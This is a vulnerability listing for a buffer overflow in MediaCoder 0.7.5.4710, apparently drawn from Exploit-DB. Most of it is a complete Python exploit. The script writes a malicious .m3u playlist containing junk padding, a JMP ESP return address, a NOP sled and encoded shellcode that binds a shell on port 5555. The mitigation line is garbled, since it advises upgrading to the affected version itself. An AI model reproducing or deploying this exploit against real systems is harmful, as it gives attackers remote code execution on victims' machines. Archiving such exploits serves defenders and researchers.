media coder 0.7.5.4710 0 day buffer overflow exploit

vendor:

MediaCoder

by:

Unknown

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: MediaCoder

Affected Version From: 0.7.5.4710

Affected Version To: 0.7.5.4710

Patch Exists: Yes

Related CWE: N/A

CPE: a:mediacoderhq:mediacoder

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP2

Unknown

media coder 0.7.5.4710 0 day buffer overflow exploit

A buffer overflow vulnerability exists in Media Coder 0.7.5.4710, which could allow an attacker to execute arbitrary code on the vulnerable system. The vulnerability is due to insufficient boundary checks when handling specially crafted .m3u files. An attacker can exploit this vulnerability by enticing a user to open a malicious .m3u file. Successful exploitation could result in arbitrary code execution in the context of the application.

Mitigation:

Upgrade to the latest version of Media Coder 0.7.5.4710 or later.

Source

Exploit-DB raw data:

#media coder 0.7.5.4710 0 day buffer overflow exploit
#vulnerble application link http://www.mediacoderhq.com/dlfull.htm
#tested on XP SP2

#!/usr/bin/python
# to exploit load the crash.m3u file and double click on it 

filename = "crash.m3u"

junk = "\x41" * 256
eip = "\x65\x82\xa5\x7c"     # JMP ESP shell32.dll
nop = "\x90" * 12
# port bind 5555 shellcode
scode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
            "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
            "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
            "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
            "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e"
            "\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x48"
            "\x4e\x36\x46\x32\x46\x32\x4b\x48\x45\x34\x4e\x43\x4b\x58\x4e\x37"
            "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x51\x4b\x58"
            "\x4f\x45\x42\x42\x41\x30\x4b\x4e\x49\x54\x4b\x38\x46\x43\x4b\x58"
            "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
            "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
            "\x46\x4f\x4b\x43\x46\x45\x46\x32\x4a\x42\x45\x37\x45\x4e\x4b\x58"
            "\x4f\x35\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54"
            "\x4b\x38\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x43\x30\x4e\x52\x4b\x38"
            "\x49\x38\x4e\x46\x46\x32\x4e\x41\x41\x36\x43\x4c\x41\x43\x4b\x4d"
            "\x46\x46\x4b\x48\x43\x54\x42\x43\x4b\x48\x42\x54\x4e\x50\x4b\x48"
            "\x42\x37\x4e\x31\x4d\x4a\x4b\x38\x42\x34\x4a\x30\x50\x45\x4a\x46"
            "\x50\x58\x50\x54\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x46"
            "\x43\x35\x48\x36\x4a\x46\x43\x33\x44\x53\x4a\x46\x47\x47\x43\x47"
            "\x44\x53\x4f\x35\x46\x45\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e"
            "\x4e\x4f\x4b\x33\x42\x45\x4f\x4f\x48\x4d\x4f\x55\x49\x48\x45\x4e"
            "\x48\x36\x41\x58\x4d\x4e\x4a\x30\x44\x50\x45\x35\x4c\x56\x44\x30"
            "\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x45"
            "\x4f\x4f\x48\x4d\x43\x35\x43\x35\x43\x55\x43\x45\x43\x35\x43\x54"
            "\x43\x35\x43\x34\x43\x35\x4f\x4f\x42\x4d\x48\x36\x4a\x36\x45\x31"
            "\x43\x4b\x48\x56\x43\x35\x49\x38\x41\x4e\x45\x39\x4a\x46\x46\x4a"
            "\x4c\x51\x42\x57\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x46\x42\x41"
            "\x41\x55\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x52"
            "\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x55\x45\x55\x4f\x4f\x42\x4d"
            "\x4a\x46\x45\x4e\x49\x44\x48\x58\x49\x44\x47\x55\x4f\x4f\x48\x4d"
            "\x42\x45\x46\x35\x46\x45\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x36"
            "\x47\x4e\x49\x47\x48\x4c\x49\x57\x47\x35\x4f\x4f\x48\x4d\x45\x55"
            "\x4f\x4f\x42\x4d\x48\x46\x4c\x46\x46\x46\x48\x36\x4a\x36\x43\x56"
            "\x4d\x36\x49\x48\x45\x4e\x4c\x56\x42\x45\x49\x55\x49\x52\x4e\x4c"
            "\x49\x38\x47\x4e\x4c\x36\x46\x44\x49\x38\x44\x4e\x41\x33\x42\x4c"
            "\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x42\x50\x4f\x44\x54\x4e\x32"
            "\x43\x49\x4d\x48\x4c\x47\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"
            "\x44\x57\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x37\x46\x54\x4f\x4f"
            "\x48\x4d\x4b\x45\x47\x45\x44\x55\x41\x35\x41\x45\x41\x35\x4c\x56"
            "\x41\x30\x41\x35\x41\x35\x45\x45\x41\x55\x4f\x4f\x42\x4d\x4a\x46"
            "\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46"
            "\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x48\x47\x35\x4e\x4f"
            "\x43\x38\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d"
            "\x4a\x36\x42\x4f\x4c\x48\x46\x30\x4f\x35\x43\x35\x4f\x4f\x48\x4d"
            "\x4f\x4f\x42\x4d\x5a"
)			
			
junk2 = "\x90" * 600

textfile = open(filename , 'w')
textfile.write(junk+eip+nop+scode+junk2)
textfile.close()